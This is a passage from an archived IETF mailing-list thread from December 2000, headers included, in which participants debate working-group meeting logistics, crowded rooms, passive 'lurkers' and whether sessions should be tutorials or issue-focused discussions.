formed as a WG very late in the game and the chairs perhaps didn't have enough time to organize better. But the same complaint could be made at many other WG meetings. -Matt (cc'ing the IESG since this is directed primarily to them) From owner-ietf-outbound Tue Dec 19 21:50:29 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA01443 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 21:50:02 -0500 (EST) Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.123]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA00106 for ; Tue, 19 Dec 2000 21:26:07 -0500 (EST) Received: from 157.54.9.100 by mail3.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 19 Dec 2000 18:24:35 -0800 (Pacific Standard Time) Received: by inet-imc-03.redmond.corp.microsoft.com with Internet Mail Service (5.5.2651.58) id ; Tue, 19 Dec 2000 18:25:13 -0800 Message-ID: <8D25F244B8274141B5D313CA4823F39C1389AF@red-msg-06.redmond.corp.microsoft.com> From: Ian King To: "'Randy Bush'" , Scott Brim Cc: ietf Subject: RE: IETF logistics Date: Tue, 19 Dec 2000 18:25:25 -0800 X-Mailer: Internet Mail Service (5.5.2651.58) X-Loop: ietf@ietf.org IMHO that's an excellent suggestion. It's been my experience that when you state that the draft is itself an agenda item, previously resolved issues often get rehashed, sometimes contrary to the clear consensus of the list. This strategy would also allow less opportunity for those who haven't read the draft to turn the session into a tutorial. -- Ian -----Original Message----- From: Randy Bush [mailto:randy@psg.com] Sent: Tuesday, December 19, 2000 9:26 AM To: Scott Brim Cc: ietf Subject: Re: IETF logistics > I would suggest that chairs try setting the agenda around issues, not > around drafts themselves. The main point of the face-to-face meetings > is to resolve issues that cannot be resolved by mail. Put those on the > agenda, and let the combatants present as much tutorial information as > they feel is necessary to make their point -- but don't set up the > editor of a particular draft to give a presentation first, followed by > discussion. Don't even put the draft title on the agenda, just in the > preliminary mail sent out before the meeting. Thoughts? sounds good to me! randy From owner-ietf-outbound Tue Dec 19 22:00:07 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA01612 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 22:00:02 -0500 (EST) Received: from mail-green.research.att.com ([135.207.30.103]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA01381 for ; Tue, 19 Dec 2000 21:44:09 -0500 (EST) Received: from postal.research.att.com (postal.research.att.com [135.207.23.30]) by mail-green.research.att.com (Postfix) with ESMTP id 1FCC71E008; Tue, 19 Dec 2000 21:44:11 -0500 (EST) Received: from smb.research.att.com (postal.research.att.com [135.207.23.30]) by postal.research.att.com (8.8.7/8.8.7) with ESMTP id VAA09609; Tue, 19 Dec 2000 21:44:09 -0500 (EST) Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1]) by smb.research.att.com (Postfix) with ESMTP id 8D00B35DC2; Tue, 19 Dec 2000 21:44:09 -0500 (EST) X-Mailer: exmh version 2.2 06/23/2000 with version: MH 6.8.3 #1[UCI] From: "Steven M. Bellovin" To: RJ Atkinson Cc: "Scott Brim" , ietf@ietf.org Subject: Re: 49th-IETF conf room planning Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 19 Dec 2000 21:44:09 -0500 Sender: smb@research.att.com Message-Id: <20001220024409.8D00B35DC2@smb.research.att.com> X-Loop: ietf@ietf.org In message <5.0.0.25.2.20001219185752.01bea910@gnat.inet.org>, RJ Atkinson writ es: >Someone else noted: >>Participation by mail before participation in person. > >EXAMPLE > > I was an active participant (e.g. ask folks in Denmark >who were involved with early MIME stuff) via email long >before I showed up in person. To this day, I don't make >every meeting. Before ever showing up in person, I was able >to make major impacts on MIME's support for multi-lingual >environments. > > I've seen others do similarly. For example, I've >never run into Valdis at an IETF meeting, but he has an >impact. > >ASSERTION > So one need not attend to have an impact. Indeed. I was in the same situation -- for family reasons, I couldn't travel, but I was an active participant in a number of mailing lists and working groups. I was asked to be on the IPng directorate before I'd attended a single IETF meeting -- and that was based on my publications on security, and my electronic participation. --Steve Bellovin From owner-ietf-outbound Tue Dec 19 22:10:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA01815 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 22:10:02 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA01698 for ; Tue, 19 Dec 2000 22:03:34 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id WAA13641; Tue, 19 Dec 2000 22:03:32 -0500 (EST) Message-Id: <200012200303.WAA13641@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: David Meyer cc: sbrim@cisco.com (Scott Brim), Matthew.Goldman@worldwidepackets.com (Matthew Goldman), moore@cs.utk.edu ('Keith Moore'), ietf@ietf.org Subject: Re: 49th-IETF conf room planning In-reply-to: Your message of "Tue, 19 Dec 2000 14:08:43 PST." <200012192208.OAA06101@cisco.com> Date: Tue, 19 Dec 2000 22:02:17 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org Said another way, I do not believe that the increased number of people has harmed the S/N ratio in any of my WGs, nor any that I attended. The people who participate participate and the people who don't don't. I don't have a problem with that. It seems like there is some sort of psychological effect of large rooms and/or large numbers of people - people seem less likely to speak their minds in a room full of mostly passive observers, than when in a room full of people who are mostly participating in the discussion. If this is true then having large numbers of passive observers at a meeting does indeed lower the S/N, by reducing the signal level. Finally, adopting draconian measures that make the IETF some kind of secret/privileged society will mark the beginning of the end of the its usefulness. I would hate to see that happen. I think we have two choices: we can either try to discourage lurkers who don't do their homework, or we can increase the current tendency for decisions to be made by (often closed) design teams for later rubber stamping by the WG. The latter seems much more like a secret/privileged society than the former. Keith From owner-ietf-outbound Tue Dec 19 22:40:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA03101 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 22:40:02 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA01913 for ; Tue, 19 Dec 2000 22:16:23 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id WAA19917; Tue, 19 Dec 2000 22:16:15 -0500 (EST) Message-Id: <200012200316.WAA19917@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: danny@ambernetworks.com cc: ietf@ietf.org Subject: Re: IETF logistics In-reply-to: Your message of "Tue, 19 Dec 2000 16:51:07 MST." <200012192351.QAA28656@tcb.net> Date: Tue, 19 Dec 2000 22:14:59 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > It did indeed seem that the significant majority of > time was spent 'viewing presentations/tutorials', > while the WG chairs frequently employed RED/discard > on the folks that occupied the queues at the > microphones in order to more promptly begin the > next tutorial and finish within the alloted time. for many groups, the number of active participants is so small that there's really no need for a microphone ... except that due to the large number of passive observers they have to meet in a room which is so large and so noisy that amplification becomes necessary. and the medium access time for a microphone queue is sufficiently large that having a microphone drastically reduces available bandwidth at a meeting. Keith From owner-ietf-outbound Tue Dec 19 22:50:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA03439 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 22:50:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA01931 for ; Tue, 19 Dec 2000 22:17:48 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id WAA19955; Tue, 19 Dec 2000 22:17:47 -0500 (EST) Message-Id: <200012200317.WAA19955@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Matt Holdrege cc: Frank Kastenholz , RJ Atkinson , ietf@ietf.org Subject: Re: IETF logistics In-reply-to: Your message of "Tue, 19 Dec 2000 15:38:34 PST." <5.0.2.1.2.20001219153023.02a26230@mail.gte.net> Date: Tue, 19 Dec 2000 22:16:32 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > Chairs serve at the discretion of the AD's. good chairs can be *extremely* difficult to find. especially if you want someone to replace an existing chair and inherit a group which is off in the weeds due to a previous lack of leadership. Keith From owner-ietf-outbound Tue Dec 19 23:00:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA03580 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 23:00:02 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA03059 for ; Tue, 19 Dec 2000 22:35:25 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id WAA20409; Tue, 19 Dec 2000 22:35:24 -0500 (EST) Message-Id: <200012200335.WAA20409@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Bob Braden cc: rja@inet.org, moore@cs.utk.edu, ietf@ietf.org Subject: Re: Bottom feeders In-reply-to: Your message of "Tue, 19 Dec 2000 22:34:04 GMT." <200012192234.WAA01560@gra.isi.edu> Date: Tue, 19 Dec 2000 22:34:10 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org let me say that I'm fully in agreement with those who think that our WGs need broad input, and who want to encourage more cross-group fertilization. I just don't happen to believe that merely paying the meeting fees entitles one to a seat in the room. I honestly don't know how many of the 'lurkers' in any particular room are actively participating in some WG versus how many are lurking in all of them. but I do know that a large number of lurkers is harmful to a WG's ability to conduct a useful meeting. Keith From owner-ietf-outbound Tue Dec 19 23:20:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA03867 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 23:20:03 -0500 (EST) Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA03805 for ; Tue, 19 Dec 2000 23:12:13 -0500 (EST) Received: from [165.227.249.17] (ip17.proper.com [165.227.249.17]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id UAA12576 for ; Tue, 19 Dec 2000 20:09:00 -0800 (PST) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: In-Reply-To: <8D25F244B8274141B5D313CA4823F39C1389AF@red-msg-06.redmond.corp.microsoft. com> References: <8D25F244B8274141B5D313CA4823F39C1389AF@red-msg-06.redmond.corp.microsoft. com> Date: Tue, 19 Dec 2000 19:13:46 -0800 To: ietf@ietf.org From: Paul Hoffman / IMC Subject: RE: IETF logistics Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org Just to be clear, Pete's idea does not preclude giving newcomers to the meeting context. Instead of the 5 minutes for agenda bashing and then straight into presentations, the WG chair can spend 15 minutes saying what the group is doing, where the WG is and is not meeting its charter, and the status of the drafts in front of the group. At that point, viewers (as compared to participants) will know better whether or not they want to stay and will also have some idea of why the agenda looks like it does. --Paul Hoffman, Director --Internet Mail Consortium From owner-ietf-outbound Wed Dec 20 00:10:31 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA04791 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 00:10:03 -0500 (EST) Received: from playground.sun.com ([192.9.5.5]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA04703 for ; Wed, 20 Dec 2000 00:01:06 -0500 (EST) Received: from opal.eng.sun.com (sun-barr.Sun.COM [192.9.9.1]) by playground.sun.com (8.11.2.Beta2+Sun/8.11.2.Beta2) with ESMTP id eBK515T239543; Tue, 19 Dec 2000 21:01:05 -0800 (PST) Received: from opal (localhost [127.0.0.1]) by opal.eng.sun.com (8.11.2.Beta2+Sun/8.11.2.Beta2) with ESMTP id eBK510b108993; Tue, 19 Dec 2000 21:01:00 -0800 (PST) Message-Id: <200012200501.eBK510b108993@opal.eng.sun.com> X-Mailer: exmh version 2.1.2 06/08/2000 To: Keith Moore cc: ietf@ietf.org Subject: Re: Bottom feeders X-Image-URL: http://playground.sun.com/~jbeck/gif/Misc/john-face.jpg In-reply-to: Your message of "Tue, 19 Dec 2000 22:34:10 EST." <200012200335.WAA20409@astro.cs.utk.edu> References: <200012200335.WAA20409@astro.cs.utk.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 19 Dec 2000 21:00:59 -0800 From: John Beck X-Loop: ietf@ietf.org Keith> I honestly don't know how many of the 'lurkers' in any particular room Keith> are actively participating in some WG versus how many are lurking in Keith> all of them. but I do know that a large number of lurkers is harmful Keith> to a WG's ability to conduct a useful meeting. How so? If they're just lurking, the only harm I could see is taking up space in the room. I started out more or less lurking, mainly just to make sure people didn't try to do something stupid in my areas of interest. But gradually over time I found I was able to participate at a more meaningful level. So lurking can be a Good Thing, from a certain point of view. -- John From owner-ietf-outbound Wed Dec 20 03:10:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA18690 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 03:10:02 -0500 (EST) Received: from roam.psg.com ([206.191.146.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA18652 for ; Wed, 20 Dec 2000 03:06:51 -0500 (EST) Received: from randy by roam.psg.com with local (Exim 3.12 #1) id 148cZX-0008bk-00; Tue, 19 Dec 2000 22:17:55 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Scott Bradner Cc: fkastenholz@unispherenetworks.com, ietf@ietf.org, matt.holdrege@verizon.net, rja@inet.org Subject: Re: IETF logistics References: <200012200110.UAA09182@newdev.harvard.edu> Message-Id: Date: Tue, 19 Dec 2000 22:17:55 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > Frank was a good AD and managed WGs as well as any of us (and better than > many) as a wg chair who served in frank's area, i will second and third that. randy From owner-ietf-outbound Wed Dec 20 04:40:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA19415 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 04:40:02 -0500 (EST) Received: from sky.irisa.fr (sky.irisa.fr [131.254.60.147]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA19371 for ; Wed, 20 Dec 2000 04:34:52 -0500 (EST) Received: from irisa.fr (rocha.irisa.fr [131.254.13.52]) by sky.irisa.fr (8.9.3/8.9.3) with ESMTP id KAA18749 for ; Wed, 20 Dec 2000 10:34:53 +0100 (MET) Message-ID: <3A407D41.65109608@irisa.fr> Date: Wed, 20 Dec 2000 10:34:57 +0100 From: Ali Boudani Organization: INRIA - RENNES X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en, fr MIME-Version: 1.0 To: ietf@ietf.org Subject: mpls Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit just testing From owner-ietf-outbound Wed Dec 20 07:00:38 2000 Received: by ietf.org (8.9.1a/8.9.1a) id HAA20210 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 07:00:02 -0500 (EST) Received: from arianna.cineca.it (arianna.cineca.it [130.186.1.53]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA20178 for ; Wed, 20 Dec 2000 06:56:19 -0500 (EST) Received: from cineca.it (pc-ciacci.cineca.it [193.204.122.44]) by arianna.cineca.it (8.11.0.Beta1/8.11.0.Beta1/CINECA 4.0) with ESMTP id eBKBuCW21388; Wed, 20 Dec 2000 12:56:12 +0100 (MET) Message-ID: <3A409E46.85C4C525@cineca.it> Date: Wed, 20 Dec 2000 12:55:50 +0100 From: Roberto Ciacci X-Mailer: Mozilla 4.75 [en] (Win98; U) X-Accept-Language: en,zh-CN,zh-TW,ru MIME-Version: 1.0 To: alessio porcacchia CC: Dave Robinson , ietf@ietf.org Subject: Re: Ietf meeting in Italy? References: <001501c06a09$f17b1840$443c623e@q1a7n0> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Hi everybody it would be a great event! Who manages IETF meetings planning? Ciao Roberto alessio porcacchia wrote: > > Dear Collegues and Friends, > When the Ietf must decide to prepare a meeting in Italy > I hope that see all of you "de visu" for talk to my "tech friends" > Ciao Alessio > Sys Adim > Rome Italy -- +-----------------------------------------------------------------------------+ Roberto Ciacci C I N E C A InterUniversity Consortium for SuperComputing Communication and Distributed System Group via Magnanelli, 6/3 - 40033 Casalecchio di Reno (Bologna) - Italy e-mail: r.ciacci@cineca.it voice: +39 051 6171435 fax: +39 051 6171521 +-----------------------------------------------------------------------------+ "An investment in knowledge always pays the best interest." B. Franklin From owner-ietf-outbound Wed Dec 20 07:40:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id HAA21541 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 07:40:02 -0500 (EST) Received: from birch.ripe.net (birch.ripe.net [193.0.1.96]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA21111 for ; Wed, 20 Dec 2000 07:30:52 -0500 (EST) Received: from x49.ripe.net (x49.ripe.net [193.0.1.49]) by birch.ripe.net (8.8.8/8.8.8) with ESMTP id NAA07365; Wed, 20 Dec 2000 13:30:21 +0100 (CET) Received: from localhost (henk@localhost) by x49.ripe.net (8.8.8/8.8.5) with ESMTP id NAA20071; Wed, 20 Dec 2000 13:30:21 +0100 (CET) X-Authentication-Warning: x49.ripe.net: henk owned process doing -bs Date: Wed, 20 Dec 2000 13:30:20 +0100 (CET) From: "Henk Uijterwaal (RIPE-NCC)" To: Matt Holdrege cc: ietf@ietf.org Subject: Re: IETF logistics In-Reply-To: <5.0.2.1.2.20001219153023.02a26230@mail.gte.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Tue, 19 Dec 2000, Matt Holdrege wrote: > At 08:07 AM 12/19/2000, Frank Kastenholz wrote: > >At 09:28 AM 12/19/00 -0500, RJ Atkinson wrote: > > >We can also end the de facto practice of > > >using the sessions as tutorials and discontinue fancy prepared > > >presentations of the material already in the I-Ds. While > > >tutorials are a fine thing, they are appropriate for USENIX > > >or Interop, not IETF WG sessions, IMHO. > > > >I tried doing this in my area when I was on the IESG. > >It didn't work. The chairs and attendees want this stuff. > > Nothing personal Frank, but in a general sense I'd say you weren't doing > your job well enough. Chairs serve at the discretion of the AD's. The AD's > need to choose their chairs wisely and if the chairs feel that they need to > have tutorials, then the chairs need better guidance or need replacement. > And one of the points to this thread is that we shouldn't care what the > attendees want as the IETF is not a tutorial conference. It's a working > conference and only the people who are working on the drafts should be > catered to. Others can certainly hang around and learn, but they shouldn't > be catered to. Two comments: (1) If people want tutorials, then I think we should have them but not during the WG meetings. At most other conferences and meetings, there are tutorial sessions on the days just before or after the main meeting, for people who are (probably) experts on one of the topics of the main meeting and are interested to learn something about a related are. This is something that can be done at the IETF as well: reserve a few meeting rooms the weekend before/after the IETF and assign them to WG's that want to do a tutorial about their work. In the announcements, make it clear that the WG's session are for people who want to contribute to further development of the topic of the WG, while tutorials are for people who want to learn about its present status. Give people a choice which of the two they want to attend, but don't cater for the other group in a WG or tutorial. There are a lot of practical details to be worked out here, but I think we should take advantage of the fact a lot of potential speakers for tutorials as well as an interested audience is already in one place. (2) There seems to be a general consensus on this list on what is appropriate for a presentation in a WG meeting. OTOH, most speakers don't seem to be aware of that. (With presentation defined as a speaker briefly introducing the topic, followed by a discussion amongst the audience). Isn't it time to write a short introduction for speakers at the WG meetings, telling them what is (not) appropriate for a presentation at a WG meeting? At every IETF that I've attended so-far, I've listened to people who I'd never seen at an IETF before. Without some guidelines that they can use when preparing, it is hard to expect that their presentations are appropriate for the IETF. A short list of do's and don't's attached to every agenda, will tell (or remind) people of what is expected from them and hopefully result in better presentations. It is also much easier to interrupt a speaker if his presentation is not appropriate for a WG meeting. Henk ------------------------------------------------------------------------------ Henk Uijterwaal Email: henk.uijterwaal@ripe.net RIPE Network Coordination Centre WWW: http://www.ripe.net/home/henk Singel 258 Phone: +31.20.535-4414, Fax -4445 1016 AB Amsterdam Home: +31.20.4195305 The Netherlands Mobile: +31.6.55861746 ------------------------------------------------------------------------------ A man can take a train and never reach his destination. (Kerouac, well before RFC2780). From owner-ietf-outbound Wed Dec 20 07:50:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id HAA21952 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 07:50:03 -0500 (EST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA21248 for ; Wed, 20 Dec 2000 07:34:38 -0500 (EST) Received: from mira-sjc5-4.cisco.com (mira-sjc5-4.cisco.com [171.71.163.21]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id EAA19813; Wed, 20 Dec 2000 04:34:17 -0800 (PST) Received: from spandex (rtp-vpn-105.cisco.com [10.82.192.105]) by mira-sjc5-4.cisco.com (Mirapoint) with SMTP id ACL11494; Wed, 20 Dec 2000 04:34:06 -0800 (PST) Message-ID: <001001c06a9a$6d231f20$d45904d1@cisco.com> From: "Melinda Shore" To: "Timothy J. Salo" , References: <200012192115.PAA00308@www.saloits.com> Subject: Re: IETF logistics Date: Wed, 20 Dec 2000 07:35:04 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > What happened to the proven and time-honored technique of getting > to a meeting early if you want a seat? I know the argument is that > we want to hang out in the hallways until the last minute and still > get a seat (because we are more "important" than a bunch of the people > that did get there early), but still... I think the problem could, in part, be alleviated by physically ejecting from the room people either playing games on their laptops or checking their portfolios. Melinda (and I'm not kidding) From owner-ietf-outbound Wed Dec 20 08:20:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id IAA22795 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 08:20:03 -0500 (EST) Received: from ntsraidnet1 ([62.253.156.198]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA22468 for ; Wed, 20 Dec 2000 08:11:00 -0500 (EST) Received: from researchmangr - 192.168.0.164 by ntsraidnet1 with Microsoft SMTPSVC(5.5.1774.114.11); Wed, 20 Dec 2000 13:09:35 +0000 Reply-To: From: "Leon Thompson" To: Subject: No more e-mails; Please!! Date: Wed, 20 Dec 2000 13:09:33 -0000 Message-ID: <000001c06a86$19550ca0$a400a8c0@researchmangr> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Importance: Normal Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit No more e-mails; Please!! Many thanks Leon Thompson Research & Development Manager RaidNet Ltd From owner-ietf-outbound Wed Dec 20 09:40:34 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA26181 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 09:40:02 -0500 (EST) Received: from mx01-a.netapp.com ([198.95.226.53]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA25931 for ; Wed, 20 Dec 2000 09:33:57 -0500 (EST) Received: from frejya.corp.netapp.com (frejya.corp.netapp.com [10.10.20.91]) by mx01-a.netapp.com (8.11.1/8.11.1/NTAP-1.2) with ESMTP id eBKEXFv13669 for ; Wed, 20 Dec 2000 06:33:15 -0800 (PST) Received: from johnm.netapp.com (localhost [127.0.0.1]) by frejya.corp.netapp.com (8.11.1/8.11.1/NTAP-1.2) with ESMTP id eBKEXC123731 for ; Wed, 20 Dec 2000 06:33:12 -0800 (PST) Message-Id: <4.3.2.7.2.20001220151910.0497e2a0@pop.netapp.com> X-Sender: jmartin@pop.netapp.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 20 Dec 2000 15:29:48 +0100 To: ietf@ietf.org From: John Martin Subject: Re: IETF logistics In-Reply-To: <001001c06a9a$6d231f20$d45904d1@cisco.com> References: <200012192115.PAA00308@www.saloits.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org Let me give you an example of where this didn't work recently. At San Diego, we had back-to-back meetings of WREC followed by OPES BoF and CDNP BoF. For the most part, there was a very large overlap in the attendance. If you did not forgoe the coffee break and - literally! - run between the rooms, you did not get a seat. If you were silly enough to engage in even a 1 minute conversation and walk slowly, you might not have gotten into the room at all. This is of course further exacerbated by those who do the IETF equivalent of spreading their towels out on the loungers by the pool before going for breakfast... Some folks who had contributed were excluded because the doors had to be closed in order to make the meeting audible. In one case, the door was opened to admit someone who was on the agenda as speaking. I don't believe that any of the solutions offered so far will work because they depend on the good manners of strangers which, frankly, is largely non-existent at IETF meetings. So, my only suggestion is that WG chairs strongly encourage work to be done on the mailing lists, a deference towards non-presentation formats and the strong enforcement of timelines in meetings.... which is, erm, what we're supposed to encourage anyway... John At 07:35 AM 20/12/00 -0800, Melinda Shore wrote: > > What happened to the proven and time-honored technique of >getting > > to a meeting early if you want a seat? I know the argument is >that > > we want to hang out in the hallways until the last minute and >still > > get a seat (because we are more "important" than a bunch of the >people > > that did get there early), but still... > >I think the problem could, in part, be alleviated >by physically ejecting from the room people either >playing games on their laptops or checking their >portfolios. > >Melinda >(and I'm not kidding) > > >- >This message was passed through ietf+censored@alvestrand.no, which >is a sublist of ietf@ietf.org. Not all messages are passed. >Decisions on what to pass are made solely by Harald Alvestrand. --------------------------------------------------------------- Network Appliance Direct / Voicemail: +31 23 567 9615 Kruisweg 799 Fax: +31 23 567 9699 NL-2132 NG Hoofddorp Main Office: +31 23 567 9600 --------------------------------------------------------------- From owner-ietf-outbound Wed Dec 20 10:10:07 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA27679 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 10:10:03 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA27404 for ; Wed, 20 Dec 2000 10:02:55 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id GAA47280; Wed, 20 Dec 2000 06:57:27 -0800 Received: from hursley.ibm.com (gsine04.us.sine.ibm.com [9.14.6.44]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id HAA35706; Wed, 20 Dec 2000 07:02:25 -0800 Message-ID: <3A40C9B3.A85E721D@hursley.ibm.com> Date: Wed, 20 Dec 2000 09:01:07 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: John Beck CC: Keith Moore , ietf@ietf.org Subject: Re: Bottom feeders References: <200012200335.WAA20409@astro.cs.utk.edu> <200012200501.eBK510b108993@opal.eng.sun.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit I agree with John and Bob Braden on this. We shouldn't worry about people who lurk for a few meetings and then participate, or people who lurk in some WGs and participate in others. We *should* worry about people who come to the IETF once and never come back - because they probably came to the wrong meeting, and went home unhappy. Brian John Beck wrote: > > Keith> I honestly don't know how many of the 'lurkers' in any particular room > Keith> are actively participating in some WG versus how many are lurking in > Keith> all of them. but I do know that a large number of lurkers is harmful > Keith> to a WG's ability to conduct a useful meeting. > > How so? If they're just lurking, the only harm I could see is taking up > space in the room. I started out more or less lurking, mainly just to make > sure people didn't try to do something stupid in my areas of interest. But > gradually over time I found I was able to participate at a more meaningful > level. So lurking can be a Good Thing, from a certain point of view. > > -- John From owner-ietf-outbound Wed Dec 20 11:20:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA01315 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 11:20:02 -0500 (EST) Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA01093 for ; Wed, 20 Dec 2000 11:15:40 -0500 (EST) Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192]) by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id KAA06833 for ; Wed, 20 Dec 2000 10:10:08 -0600 (CST) Message-Id: <200012201610.KAA06833@rgfsparc.cr.usgs.gov> Date: Wed, 20 Dec 2000 10:10:08 -0600 (CST) From: "Robert G. Ferrell" Reply-To: "Robert G. Ferrell" Subject: Re: Bottom feeders To: ietf@ietf.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: iRExUkE40h/XP6YB9kKk9g== X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc 